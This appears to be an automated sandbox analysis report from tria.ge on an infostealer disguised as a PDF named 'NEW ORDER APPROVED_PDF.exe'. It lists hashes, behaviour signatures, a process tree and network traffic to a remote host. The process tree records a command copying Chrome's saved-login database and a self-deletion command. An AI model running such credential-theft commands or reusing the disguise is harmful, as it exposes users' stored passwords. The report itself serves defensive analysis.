Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
147s -
max time network
141s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
13/07/2020, 13:32 UTC
General
-
Target
NEW ORDER APPROVED_PDF.exe
-
Size
368KB
-
MD5
c3782f33095e240a6c570b8d1265eaa4
-
SHA1
e40c6809253127c918848e2db3173205c12d3def
-
SHA256
6023812166224ffe7f3ff3efacddccd27c4ae1f09aa2dc9e2f5c8557d6bb4382
-
SHA512
9138e8059fe1b00d9a6522b984a5134a39508a45f2d4b4bfb89c9843cc8ca161f2960ab2aa4fee25c8cc8fc6398b9d00beddccf126432233d75fd40792681677
Score
8/10
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 67 IoCs
-
Suspicious use of WriteProcessMemory 18 IoCs
-
Suspicious use of SetThreadContext 3 IoCs
-
Suspicious behavior: MapViewOfSection 7 IoCs
-
Adds Run entry to start application 2 TTPs 2 IoCs
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 13 IoCs
-
Executes dropped EXE 1 IoCs
-
Drops file in Program Files directory 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\NEW ORDER APPROVED_PDF.exe"C:\Users\Admin\AppData\Local\Temp\NEW ORDER APPROVED_PDF.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\NEW ORDER APPROVED_PDF.exe"C:\Users\Admin\AppData\Local\Temp\NEW ORDER APPROVED_PDF.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\SysWOW64\explorer.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Adds Run entry to start application
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\AppData\Local\Temp\NEW ORDER APPROVED_PDF.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exe/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V3⤵
-
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵
-
-
Network
-
DNSwww.gregory-buisson.comRemote address:8.8.8.8:53Requestwww.gregory-buisson.comIN AResponsewww.gregory-buisson.comIN A164.132.235.17 -
GEThttp://www.gregory-buisson.com/twb/?8pFT8Rcp=YvR3cyAgllIFnwYwjPxO99LurnJ/Yx/yP7TZerE+Sc3kpkPZ6q9FF75jUJE=&EzutZl=OFQpiBGpL2NRemote address:164.132.235.17:80RequestGET /twb/?8pFT8Rcp=YvR3cyAgllIFnwYwjPxO99LurnJ/Yx/yP7TZerE+Sc3kpkPZ6q9FF75jUJE=&EzutZl=OFQpiBGpL2N HTTP/1.1
Host: www.gregory-buisson.com
Connection: close
ResponseHTTP/1.1 301 Moved Permanently
Date: Mon, 13 Jul 2020 13:35:03 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Server: Apache
X-Powered-By: PHP/7.0
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress
Location: http://gregory-buisson.com/twb/?8pFT8Rcp=YvR3cyAgllIFnwYwjPxO99LurnJ/Yx/yP7TZerE+Sc3kpkPZ6q9FF75jUJE=&EzutZl=OFQpiBGpL2N
Set-Cookie: SERVERID31394=2320143|XwxjC|XwxjC; path=/; HttpOnly
X-IPLB-Instance: 17202
-
164.132.235.17:80http://www.gregory-buisson.com/twb/?8pFT8Rcp=YvR3cyAgllIFnwYwjPxO99LurnJ/Yx/yP7TZerE+Sc3kpkPZ6q9FF75jUJE=&EzutZl=OFQpiBGpL2Nhttp
HTTP Request
GET http://www.gregory-buisson.com/twb/?8pFT8Rcp=YvR3cyAgllIFnwYwjPxO99LurnJ/Yx/yP7TZerE+Sc3kpkPZ6q9FF75jUJE=&EzutZl=OFQpiBGpL2NHTTP Response
301
-
239.255.255.250:1900
-
239.255.255.250:1900
-
10.10.0.255:137netbios-ns
-
10.10.0.28:137netbios-ns
-
8.8.8.8:53www.gregory-buisson.comdns
DNS Request
www.gregory-buisson.com
DNS Response
164.132.235.17
-
10.10.0.24:137netbios-ns
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
588KB
-
Filesize
588KB
-
Filesize
588KB
-
Filesize
1.3MB
-
Filesize
1.2MB
-
Filesize
4.2MB
-
Filesize
4.2MB
-
Filesize
180KB